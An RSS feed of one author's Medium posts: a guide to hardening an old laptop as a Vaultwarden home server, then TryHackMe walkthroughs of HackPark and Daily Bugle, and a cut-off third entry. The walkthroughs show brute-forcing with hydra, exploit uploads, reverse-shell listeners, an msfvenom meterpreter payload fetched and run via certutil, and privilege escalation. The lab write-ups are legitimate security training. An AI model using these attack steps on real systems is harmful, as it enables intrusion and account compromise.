<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by xhavit.basha on Medium]]></title>
        <description><![CDATA[Stories by xhavit.basha on Medium]]></description>
        <link>https://medium.com/@xhavitbasha016?source=rss-3fe399034077------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2v9WvrJGQ_tXfjLL8z4Fyg.jpeg</url>
            <title>Stories by xhavit.basha on Medium</title>
            <link>https://medium.com/@xhavitbasha016?source=rss-3fe399034077------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 09:54:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@xhavitbasha016/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to Turn an Old Laptop into a Hardened Home Server]]></title>
            <link>https://medium.com/@xhavitbasha016/from-e-waste-to-encrypted-vault-how-to-turn-an-old-laptop-into-a-hardened-home-server-592dd9868a6c?source=rss-3fe399034077------2</link>
            <guid isPermaLink="false">https://medium.com/p/592dd9868a6c</guid>
            <category><![CDATA[system-administration]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[home-server]]></category>
            <dc:creator><![CDATA[xhavit.basha]]></dc:creator>
            <pubDate>Mon, 12 Oct 2026 18:29:28 GMT</pubDate>
            <atom:updated>2026-10-12T18:55:45.744Z</atom:updated>
            <content:encoded><![CDATA[<p>We’ve all got that one old laptop tucked away in a drawer or gathering dust on a shelf. Instead of letting it stay there, why not give it a second life?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LabDMT2GntLxqKxwd_Sujg.png" /><figcaption>The setup — The plant and the back light was added by AI ;)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*Fu7F2fI1YwbzOHNjqpMAYg.png" /><figcaption>The specs of the Laptop</figcaption></figure><p>In this guide, we’re going to turn an old, HP laptop into a powerhouse local home server. Whether you need to revive its wireless card, lock down a rock-solid static IP, monitor its CPU temperatures, or spin up a self-hosted, end-to-end encrypted password manager protected by local TLS, we’ll walk through it step-by-step.</p><p>Grab your terminal — let’s build a home server!</p><h3>What You Need (The Hardware Scavenger Hunt)</h3><p>Before we start typing commands like we’re in a 90s hacker movie, let’s raid your house for the necessary gear. You don’t need a $2,000 rack-mounted server setup — just two basic items:</p><ol><li><strong>An Old Laptop</strong>: That dusty relic sitting in the back of your closet, under a pile of old cables, or buried in a drawer. The one that runs so loud it sounds like a jet engine taking off when you open three Chrome tabs. Congratulations, it’s about to become a dedicated home server! <em>(Pro-tip: Laptops make surprisingly great home servers because they have built-in battery backups… also known as a working laptop battery).</em></li><li><strong>A USB Flash Drive (At least 4GB)</strong>: That random thumb drive you found at the bottom of your backpack, or the one you used to keep old photos, or under your couch cushions. Make sure there’s nothing important on it, because we’re about to wipe it completely clean.</li></ol><h3>Architecture &amp; Tech Stack</h3><ul><li><strong>OS</strong>: Ubuntu Server 24.04 LTS (Headless)</li><li><strong>Networking</strong>: Netplan with systemd-networkd / NetworkManager</li><li><strong>Container Stack</strong>: Docker Engine &amp; Docker Compose v2</li><li><strong>Reverse Proxy</strong>: Caddy Server (Internal PKI / Self-Signed TLS)</li><li><strong>Application</strong>: Vaultwarden (Lightweight, Rust-based Bitwarden alternative)</li></ul><h3>Part 0: Flashing Ubuntu Server to a USB Drive</h3><p>Before you can boot up your old laptop as a server, you need to install the operating system. We’ll use <strong>Ubuntu Server 24.04 LTS</strong> because it’s lightweight, robust, and lacks heavy graphical overhead.</p><ol><li><strong>Download the ISO</strong>: Go to the official Ubuntu website and download the <strong>Ubuntu Server LTS</strong> ISO file.</li></ol><p><a href="https://ubuntu.com/download/server">https://ubuntu.com/download/server</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wkpYwv4QF9fQtDTTCzSCTA.png" /></figure><p><strong>2. Download Rufus</strong>: If you are on Windows, download <strong>Rufus</strong> (a free, industry-standard tool for creating bootable USB drives). <em>(Mac users can use BalenaEtcher or Raspberry Pi Imager).</em></p><p><a href="https://rufus.ie/en/">https://rufus.ie/en/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*4PorSedxS2O2qgoJjxRuwg.png" /></figure><p><strong>3. Flash the USB</strong>:</p><p>Offical Guide: <a href="https://ubuntu.com/tutorials/create-a-usb-stick-on-windows#3-usb-selection">https://ubuntu.com/tutorials/create-a-usb-stick-on-windows#3-usb-selection</a></p><ul><li>Plug in a spare USB flash drive (at least 4GB).</li><li>Open Rufus, select your USB device under <strong>Device</strong>, and choose your downloaded Ubuntu Server ISO under <strong>Boot selection</strong>.</li><li>Leave the other settings as default and click <strong>START</strong>. (Note: This will erase everything currently on the USB drive).</li></ul><p><strong>4. Boot the Laptop</strong>: Plug the flashed USB into your old laptop, power it on, and immediately press your BIOS boot menu key (usually F12, F11, F2, or Del, depending on the laptop brand) to select the USB as your boot device. Follow the standard Ubuntu Server text installer prompts to finish the OS installation!</p><h3>Part 0.5: Going Headless (How to Keep the Laptop Running with the Lid Closed)</h3><p>By default, the moment you slam your laptop lid shut, Ubuntu will panic, go into suspend mode, and shut down all network connections. That is fantastic for a daily driver laptop, but a absolute nightmare for a headless home server tucked away on a shelf.</p><p>To tell Ubuntu to ignore the closed lid and keep humming along 24/7, we just need to tweak one configuration file managed by systemd.</p><h4>1. Open the Login Manager Configuration</h4><p>Open /etc/systemd/logind.conf in your text editor:</p><pre>sudo nano /etc/systemd/logind.conf</pre><h4>2. Update the Lid Switch Setting</h4><p>Look for the line that says #HandleLidSwitch=suspend (or similar).</p><ul><li>Remove the # character at the beginning of the line (uncommenting it).</li><li>Change suspend to ignore.</li></ul><p>It should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*UcvVHyNOuYMu9nv_90MMbA.png" /><figcaption>The configuration file</figcaption></figure><h4>3. Restart the Systemd Login Service</h4><p>Apply the new rule instantly without rebooting:</p><pre>sudo systemctl restart systemd-logind</pre><p>Now you can safely close your laptop lid, slide it onto a closet shelf or under a desk, and manage everything completely over the network via SSH!</p><h3>Part 1: Setting Up Connectivity (Wi-Fi or Ethernet)</h3><p>Before doing anything else, your server needs a reliable connection to your network. Depending on your hardware setup, you can connect via Wi-Fi or a wired Ethernet cable.</p><h4>Option A: How to Enable and Connect via Wi-Fi (No Ethernet Cable)</h4><p>If your server lacks a wired connection, you can configure wireless access using NetworkManager and nmtui.</p><ol><li>Update your package lists and install networking utilities:</li></ol><pre>sudo apt update<br>sudo apt install net-tools network-manager wireless-tools -y</pre><p>2. Unblock the wireless card if it is hardware/software blocked:</p><pre>sudo rfkill unblock wifi</pre><p>3. Locate your Netplan configuration file:</p><p><em>(It is typically named something like 50-cloud-init.yaml or 01-netcfg.yaml).</em></p><pre>ls /etc/netplan/</pre><p>Open the file with a text editor and ensure the renderer is set to NetworkManager:</p><pre>network:<br>  version: 2<br>  renderer: NetworkManager</pre><p><em>(Note: Ensure proper YAML spacing — always use spaces, never tabs).</em></p><p>Launch the interactive network manager tool to connect to your access point:</p><pre>sudo nmtui</pre><p>Select Activate a connection, choose your Wi-Fi network, type your password, and quit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*tyCdkHmi2NXFxKxm6m-6tA.png" /><figcaption>Network Manager UI</figcaption></figure><h4><strong>Option B: How to Connect via Ethernet</strong></h4><p>Wired Ethernet is always preferred for home servers to eliminate latency and packet loss.</p><ol><li>Find your network interface names:</li></ol><pre>ip a</pre><p>Look for an interface starting with en (such as eno1, enp3s0, or eth0). Ignore lo (loopback) and wireless interfaces starting with wl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*_VzOBY4_C_bk7y7FmKI65g.png" /></figure><p>2. Bring the interface up if it shows as DOWN:</p><pre>sudo ip link set eno1 up</pre><h3><strong>Part 2: Locking Down a Static IP Address</strong></h3><p>To prevent your server’s IP address from drifting (which breaks local bookmarks and SSH connections), configure a static IP via Netplan.</p><ol><li>Open your Netplan configuration file:</li></ol><pre>sudo nano /etc/netplan/00-installer-config.yaml</pre><p>Configure a static assignment on your Ethernet interface (eno1), while explicitly keeping Wi-Fi disabled or empty:</p><pre>network:<br>  version: 2<br>  renderer: networkd<br>  ethernets:<br>    eno1:<br>      dhcp4: no<br>      addresses:<br>        - 192.168.1.100/24<br>      routes:<br>        - to: default<br>          via: 192.168.1.1<br>      nameservers:<br>        addresses:<br>          - 8.8.8.8<br>          - 1.1.1.1</pre><p>The address part is where the Static IP is set ti 192.168.1.100/24 in my case.</p><p>3. Apply the network configuration:</p><pre>sudo netplan apply</pre><h3><strong>Part 3: Monitoring Hardware Health (CPU Temps &amp; Fans)</strong></h3><p>Since this is a headless server, keeping an eye on thermal performance is vital. Install lm-sensors to monitor CPU temperatures and fan speeds:</p><p><em>By headless we mean the laptops lid will be closed i will show a Picture too</em></p><p>Since this is a headless server, keeping an eye on thermal performance is vital. Install lm-sensors to monitor CPU temperatures and fan speeds:</p><pre>sudo apt install lm-sensors -y<br>sudo sensors-detect --auto</pre><p>Once installed, check your hardware temperatures instantly with a single command:</p><pre>sensors</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*930Z5fts2CmxXIQlLdExPg.png" /></figure><h3><strong>Part 4: Installing Docker Engine &amp; Compose</strong></h3><h4>Why Docker? (Or: How to Stop Software Dependency Nightmares)</h4><p>Imagine you want to build a house, but every time you add a new piece of furniture, it demands a completely different foundation, wiring layout, and plumbing system. Back in the traditional days of server management, running multiple apps on one machine meant dealing with clunky package dependencies, conflicting Python versions, and broken libraries that would inevitably ruin your weekend.</p><p>Enter <strong>Docker</strong>.</p><p>Instead of installing apps directly onto your bare Ubuntu OS and crossing your fingers, Docker packs your applications into <strong>containers</strong>. Think of a container as a lightweight, fully self-contained shipping crate: it carries the application, its code, its runtime, and every single dependency it needs to survive.</p><p>Why is this a game-changer for your home server?</p><ul><li><strong>Zero Host Pollution</strong>: If a service breaks or you want to delete it, you just destroy the container. Your underlying Ubuntu server stays completely clean.</li><li><strong>Plug &amp; Play Portability</strong>: The exact same container running on your old laptop will run identically on a cloud server, a Raspberry Pi, or your friend’s PC.</li><li><strong>Isolated Security</strong>: Applications are sandboxed away from each other and the host system, keeping your server tight and secure.</li></ul><p>Now that we know <em>why</em> Docker is our best friend, let’s get it installed and spin up our first container!</p><pre># Update and install Docker Engine and Docker Compose v2<br>sudo apt update &amp;&amp; sudo apt install docker.io docker-compose-v2 -y<br><br># Add your user to the docker group to run commands without sudo<br>sudo usermod -aG docker $USER<br>newgrp docker</pre><h3><strong>Part 5: Deploying Vaultwarden with Caddy TLS</strong></h3><h3>Why Trust a Cloud When You Can Own the Key? (The Case for Self-Hosting Your Vault)</h3><p>Let’s be honest: in a world where tech giants suffer massive data breaches on a weekly basis, trusting your digital life — your banking logins, master emails, server keys, and social accounts — to a third-party cloud provider feels a bit like leaving your house keys under the welcome mat at a busy intersection.</p><p>Sure, password managers are essential. But what if you could have the absolute convenience of a modern password manager <em>without</em> sending your data to a stranger’s cloud?</p><p>Enter <strong>Vaultwarden</strong>. It’s a lightning-fast, Rust-powered, Bitwarden-compatible server alternative that fits in the palm of your hand — running entirely on your own local hardware.</p><p>Why is this setup the ultimate flex?</p><ul><li><strong>Zero-Knowledge Architecture</strong>: Encryption and decryption happen <strong>strictly on your client device</strong> (your laptop or phone) before a single byte ever hits the network. Your master password never leaves your machine, and the server only ever sees scrambled, encrypted gibberish.</li><li><strong>Total Sovereignty</strong>: No corporate tracking, no unexpected subscription price hikes, and zero external cloud dependency. If the internet goes down, your local network keeps your vault safe and accessible.</li><li><strong>Bank-Grade Privacy</strong>: You hold the keys, you manage the database, and nobody else gets in.</li></ul><p>Ready to lock down your digital footprint?</p><h3>The Web Crypto API Challenge</h3><p>Vaultwarden relies on client-side end-to-end encryption (AES-256). Modern web browsers enforce security policies that refuse to run cryptographic functions over plain http:// unless accessed via localhost. Hitting your server via [http://192.168.1.100](http://192.168.1.100) triggers frontend security errors.</p><p>To solve this cleanly without public domains, we deploy <strong>Caddy</strong> alongside Vaultwarden to manage automatic internal TLS certificates.</p><h4>1. Create a docker-compose.yml File</h4><p>Create a working directory and write your multi-container stack:</p><pre>mkdir -p ~/vaultwarden &amp;&amp; cd ~/vaultwarden<br>nano docker-compose.yml</pre><p>Paste the following configuration:</p><pre>services:<br>  vaultwarden:<br>    image: vaultwarden/server:latest<br>    container_name: vaultwarden<br>    restart: unless-stopped<br>    environment:<br>      - SIGNUPS_ALLOWED=true  # Leave true temporarily to create your account<br>    volumes:<br>      - ./vw-data:/data<br><br>  caddy:<br>    image: caddy:latest<br>    container_name: caddy<br>    restart: unless-stopped<br>    ports:<br>      - &quot;80:80&quot;<br>      - &quot;443:443&quot;<br>    volumes:<br>      - ./Caddyfile:/etc/caddy/Caddyfile<br>      - caddy_data:/data<br>      - caddy_config:/config<br><br>volumes:<br>  caddy_data:<br>  caddy_config:</pre><h4>2. Create the Caddyfile</h4><p>Create your Caddy routing configuration file in the same directory:</p><pre>nano Caddyfile</pre><p>Paste the following snippet, utilizing the default_sni option to ensure Caddy correctly negotiates TLS over raw IP addresses:</p><pre>{<br>    default_sni 192.168.1.100<br>}<br><br>192.168.1.100 {<br>    tls internal<br>    reverse_proxy vaultwarden:80<br>}</pre><h4>3. Launch the Stack</h4><p>Bring your services online in detached mode:</p><pre>docker compose up -d</pre><h3>Part 7: Logging In and Storing Your First Passwords</h3><p>Now that your container stack is running and public signups are locked down, it’s time to log into your personal, encrypted vault and add your first login.</p><h4>1. Accessing Your Secure Local URL</h4><p>Open your preferred web browser (Brave, Chrome, Firefox, etc.) and navigate to your server’s static IP</p><pre>https://192.168.1.100</pre><h4>2. Bypassing the Local Certificate Warning</h4><p>Because we used Caddy to generate an internal self-signed TLS certificate (rather than paying for a public domain name), your browser will display a privacy warning saying <em>“Your connection is not private”</em> or <em>“NET::ERR_CERT_AUTHORITY_INVALID”</em>.</p><ul><li>This is completely normal for internal homelabs!</li><li>Click <strong>Advanced</strong> and then click <strong>Proceed to 192.168.1.100 (unsafe)</strong>. Your connection is fully encrypted end-to-end; your browser just doesn’t recognize the local certificate authority yet.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*lOuem3g7pPHOU8HPAUXwag.png" /></figure><h4>3. Creating Your Account &amp; Logging In</h4><ol><li>On the Vaultwarden welcome screen, click <strong>Create Account</strong>.</li><li>Enter your email address and create a <strong>Master Password</strong>. <em>(Make sure this password is exceptionally strong and memorable — remember, since it’s zero-knowledge, nobody can recover or reset it for you if you lose it!)</em></li><li>Once your account is created, log in using your new credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*BR2QMaYdQQawbVFq-W8f_g.png" /></figure><h4>4. Storing Your First Password</h4><p>Now that you are inside your clean, private dashboard:</p><ol><li>Click the <strong>+ Add Item</strong> button (or the blue + icon).</li><li>Choose <strong>Login</strong> as the item type.</li><li>Fill out your details:</li></ol><ul><li><strong>Name</strong>: Give it a recognizable label (e.g., <em>GitHub</em> or <em>Personal Email</em>).</li><li><strong>Username / Email</strong>: Your login handle.</li><li><strong>Password</strong>: Use Vaultwarden’s built-in generator to spin up a random, unhackable 20+ character password.</li><li><strong>URI (Website)</strong>: The login URL for that service.</li></ul><ol><li>Click <strong>Save</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmR3eV3OuXob1PYgQLIcaw.png" /></figure><p>And just like that, your credentials are encrypted locally on your device, securely transmitted over HTTPS to your own hardware, and locked away behind a zero-knowledge wall that only you hold the keys to!</p><h3>Part 8: Ultimate SSH Hardening (Locking Down Remote Access)</h3><p>Since your server runs headless and is accessible over your local network (or potentially exposed via port forwarding), leaving SSH at its default settings is an open invitation for automated botnets to hammer your port 22 with brute-force password guesses.</p><p>Let’s bulletproof your SSH daemon (sshd_config).</p><blockquote><em>⚠️ </em><strong><em>Crucial Safety Warning Before You Start</em></strong><em>:</em></blockquote><ul><li>Always keep your current SSH session <strong>open</strong> while making these changes.</li><li>Make sure you have successfully tested your SSH key login from a separate terminal window <em>before</em> disabling password logins, otherwise you risk locking yourself out permanently!</li></ul><h4>1. Back Up and Test Configuration Safety</h4><p>Before modifying configuration files, back up the default setup:</p><pre>sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.backup</pre><p>Whenever you edit SSH configurations, always test the syntax for errors before restarting the service:</p><pre>sudo sshd -t</pre><p><em>(If this command outputs nothing, your syntax is 100% clean).</em></p><h4>2. Enforce Key-Based Authentication &amp; Disable Root Login</h4><p>Password authentication is vulnerable to automated guessing. Force cryptographic key pairs and block direct root logins entirely.</p><p>Open the configuration file:</p><pre>sudo nano /etc/ssh/sshd_config</pre><p>Modify or add the following parameters:</p><pre># Force key-based authentication and disable passwords<br>PasswordAuthentication no<br>KbdInteractiveAuthentication no<br>PubkeyAuthentication yes</pre><pre># Block direct root logins over SSH<br>PermitRootLogin no</pre><pre># Block empty passwords and limit brute-force attempts<br>PermitEmptyPasswords no<br>MaxAuthTries 3<br>LoginGraceTime 1</pre><p>LoginGraceTime — is how much time they have to enter the password, here we are settting at 1 minute</p><pre># Disconnect idle sessions after 10 minutes of inactivity<br>ClientAliveInterval 300<br>ClientAliveCountMax 2</pre><p>Save and close the file, test your syntax (sudo sshd -t)</p><h4><strong>Setting Up SSH Key Authentication (The Key to Not Locking Yourself Out)</strong></h4><p>Before we lock down our SSH configuration and ban password logins, we need to set up <strong>SSH Key-Based Authentication</strong>. Instead of using a password that can be guessed or brute-forced, SSH keys use a cryptographic public/private key pair.</p><h4>Step 1: Generate an SSH Key Pair (On Your Local Machine)</h4><p>Open a terminal on your <em>personal computer</em> (your laptop or desktop, <strong>not</strong> the server) and run the following command to generate a secure Ed25519 key pair:</p><p>Remember do this on your own terminal NOT on the server!</p><pre>ssh-keygen -t ed25519 -C &quot;your_email@example.com&quot;</pre><ul><li>Press <strong>Enter</strong> to accept the default file location (~/.ssh/id_ed25519).</li><li>(Optional) Enter a secure passphrase for an extra layer of protection, or leave it blank for direct terminal access.</li></ul><h4>Step 2: Copy Your Public Key to the Server</h4><p>Now, copy your newly created public key over to your Ubuntu server (192.168.1.100) using ssh-copy-id:</p><p>Again this is on your own terminal!</p><pre>ssh-copy-id username@192.168.1.100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*aArRDajxHWIRU0ojJptFmw.png" /></figure><p>Now try log in on the server, it will work without a password</p><p>And now finally you can reset the ssh service, for the changes to take place</p><pre>sudo systemctl restart ssh</pre><p>And it will automatically log you back in!</p><h3>What’s Next? (The Journey Doesn’t Stop Here)</h3><p>Congratulations! You’ve officially rescued an old laptop, locked down its networking, secured your remote access with SSH keys containerized your services with Docker, and built a bulletproof (maybe..), self-hosted password manager protected by local TLS.</p><p>But as any good homelab enthusiast knows… <strong>a home server is never truly finished.</strong></p><p>This is just <strong>Version 1.0</strong> of our headless server stack. In upcoming articles, we’ll be expanding this project with new layers, including:</p><ul><li><strong>Network-Wide Ad Blocking</strong>: Deploying Pi-hole or AdGuard Home to block ads and trackers for every device on your Wi-Fi.</li><li><strong>Automated Off-Site Backups</strong>: Setting up automated cron jobs to sync your encrypted Vaultwarden database to cloud storage or a secondary backup drive.</li><li><strong>Local Media &amp; File Sharing</strong>: Spinning up Samba shares or Plex/Jellyfin for your home network.</li></ul><p>Hit <strong>Follow</strong> so you don’t miss the next drop. Got questions, suggestions, or ran into a weird terminal error? Drop a comment below — let’s build!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=592dd9868a6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeup HackPark (TryHackMe)]]></title>
            <link>https://medium.com/@xhavitbasha016/writeup-hackpark-tryhackme-2c1191ac8365?source=rss-3fe399034077------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c1191ac8365</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[xhavit.basha]]></dc:creator>
            <pubDate>Tue, 16 Apr 2024 19:58:57 GMT</pubDate>
            <atom:updated>2024-04-16T19:58:57.541Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOLhlhAnNu4jjQcoiLm_Pw.png" /></figure><p>Machine Difficulty: <strong>Medium</strong></p><p>The machine doesn’t respond to ping so we are going to use the -Pn command</p><blockquote>nmap -sV -Pn</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-EYdFr9nD6iCYfu-" /></figure><p>Go to port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dkINkggFNjmuJJ9O" /></figure><p>Hmm, a login page, let’s try bruteforcing it…</p><p>Typically, web servers make two types of requests, a <strong>GET</strong> request which is used to request data from a webserver and a <strong>POST</strong> request which is used to send data to a server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jz0gtbIApjOrH8_Z" /></figure><p>This a <strong>POST method.</strong></p><p>Now we know the request type and have a URL for the login form, we can get started brute-forcing an account.</p><p>Run the following command but fill in the blanks:</p><blockquote>hydra -l -P /usr/share/wordlists/ http-post-form</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EoXgJDYniw-xbCZj" /></figure><p><em>Let’s explain how i got all that text</em></p><blockquote>hydra -l admin -P rockou.txt 10.10.5.168 http-post-form</blockquote><p>Now for the other text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/0*aBe2Sn25Vz0UWvJF" /></figure><p>Now we start burpSuite and interecpt what is happening:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fyIB_HKlfH6q3UGy" /></figure><p>Now we copy all of that, and change only the:</p><blockquote>Username =^USER^</blockquote><blockquote>Password=^PASS^</blockquote><p>Now in the end we add the Login failed from the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MHnbjXUk_LTW9s3Z" /></figure><p>Now that you know how…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BdzbB1TJ_5M_YBZh" /></figure><p>We got a password!</p><h3>Exploitation</h3><p>Let’s find the version of blog engine, and search for exploits</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bBFzbTl17C_r4aBk" /></figure><p>We found the exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KilERMGVKkB8qWWX" /></figure><p>Now how do we use this to exploit our target?</p><p>Here you go…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YY2_hlNjKpL-YwZ1" /></figure><ul><li>Download this exploit</li><li>Change the ip</li><li>Rename the file to PostView.ascx</li><li>Upload to editing a post</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Hr6ueKctVmrXxlhy" /></figure><p>Now let’s upload it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sZ842np91-UCludb" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VoGQgt3SfhHXhGnd" /></figure><p>Now start a listener</p><blockquote>nc -nvlp 4445</blockquote><p>Now this the last part, we just got to go to that path to trigger it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JOYXHJBItVYE-JiI" /></figure><p>Boom we found it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gfGq2RMToEQ_oQGP" /></figure><p>We are in!</p><h3>From netcat to metasploit shell</h3><blockquote>msfconsole<br>use exploit/multi/handler<br>set palyoad windows/meterpreter/reverse_tcp<br>set lport 3333<br>set lhost tun0<br>run</blockquote><p>Now the payload</p><blockquote>msfvenom -p windows/meterpreter/revrse_tcp lhost=10.11.64.173 lport=3333 -f exe &gt; r.exe</blockquote><blockquote>#start a python sever<br>python3 -m http.server 80</blockquote><p>Now on the windows shell</p><blockquote>cd temp<br>certutil -urlcache -f <a href="http://10.11.64.173/r.exe">http://10.11.64.173/r.exe</a> r.exe<br>r.exe</blockquote><p>Boom you got a metasploit shell</p><p>try the magic command!!!!!</p><blockquote>getsystem</blockquote><p>DONE, that’s it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xva6NByAb07_jsNm" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c1191ac8365" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeup Daily Bulge (TryHackMe)]]></title>
            <link>https://medium.com/@xhavitbasha016/writeup-daily-bulge-tryhackme-aae13cc6289d?source=rss-3fe399034077------2</link>
            <guid isPermaLink="false">https://medium.com/p/aae13cc6289d</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[xhavit.basha]]></dc:creator>
            <pubDate>Mon, 15 Apr 2024 16:40:53 GMT</pubDate>
            <atom:updated>2024-04-15T16:43:58.283Z</atom:updated>
            <content:encoded><![CDATA[<p>Machine Difficulty : <strong>Hard</strong></p><p>We start with an nmap scan</p><blockquote>nmap -sV 10.10.72.96</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C5upP_UHY7uMW61W" /></figure><p>Enumerating further with dirsearch ( you can use gobuster too)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oYhPcVB696ISHcw5" /></figure><p>Let’s check the subdomain /administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zk606fPWndjFr3Bn" /></figure><p>Joomla…</p><p>Let’s look for scripts online with the name Joomla</p><p>We found an exploit in Github</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qoRjagE9UePYVtRc" /></figure><p><strong>Download the Exploit</strong></p><p>Run the Exploit</p><blockquote>perl joomblah.py <a href="http://ip/">http://</a>10.10.72.96</blockquote><p>Here we <em>used the same ip as the target machine</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VcCP8LM3NFh9oGpf" /></figure><p>We found a hash, <strong>copy the hash, and save it as </strong><em>hash.txt in a file</em></p><p>Now go to <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">https://hashcat.net/wiki/doku.php?id=example_hashes</a></p><p>With CTRL + F search the first letter of the hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*awGkVdC5N2W3FHGu" /></figure><p>We found that it is <strong>bycrypt hash</strong></p><ul><li>Now we need to use the hashcat tool</li></ul><blockquote>hashcat -m 3200 hash.txt rockyou.txt</blockquote><p>The password is: ? (I won’t tell you because I want you to do on your own)</p><p>Now with that password log into the joomla</p><p>Find a place where you can upload scripts (./rev.php)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7K9a8-F9ujcoD6TY" /></figure><p>Now copy your own reverse shell here</p><p>Open a terminal to listen</p><p>Run it…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y52MsmSe94zsMMET" /></figure><p>We are in the system! Good job!</p><p>Now you need to transfer linpeas to find quick weaknesses in the system</p><p>Open another terminal</p><p>Go to the directory which you have installed the linpeas script</p><blockquote>python3 -m http.server 80</blockquote><p>Now on your target machine go to /tmp</p><p><em>The ip is of TryHackMe </em>here or your IP</p><blockquote>wget <a href="http://192.168..64.9/linepas.sh">http://192.168..64.9/linepas.sh</a></blockquote><p>Now finally run it</p><p>./linpeas.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OQlWO9L755BqWA4N" /></figure><p>We found a password in config files!</p><p>Now if you explored the machine you would know that there’s a user called ‘jjameson’</p><p>Now we will use these credentials to try to log into SSH</p><blockquote>ssh jjameson@10.10.72.96</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*naotntmPO_TdiMW_" /></figure><p>Time for some <strong>Privilege Escalation</strong></p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uHrGWFnk36HSO88_" /></figure><p>go to gtfobins — search for <strong>yum</strong></p><p>Run This !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BohPIm6uD8SWdtjx" /></figure><p>We are root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tQv1TQebjU_glWQZ" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aae13cc6289d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeup Blaster (TryHackME)]]></title>
            <link>https://medium.com/@xhavitbasha016/writeup-blaster-tryhackme-ce0ec5f72c1f?source=rss-3fe399034077------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce0ec5f72c1f</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[xhavit.basha]]></dc:creator>
            <pubDate>Mon, 15 Apr 2024 15:09:05 GMT</pubDate>
            <atom:updated>2024-04-15T15:09:05.934Z</atom:updated>
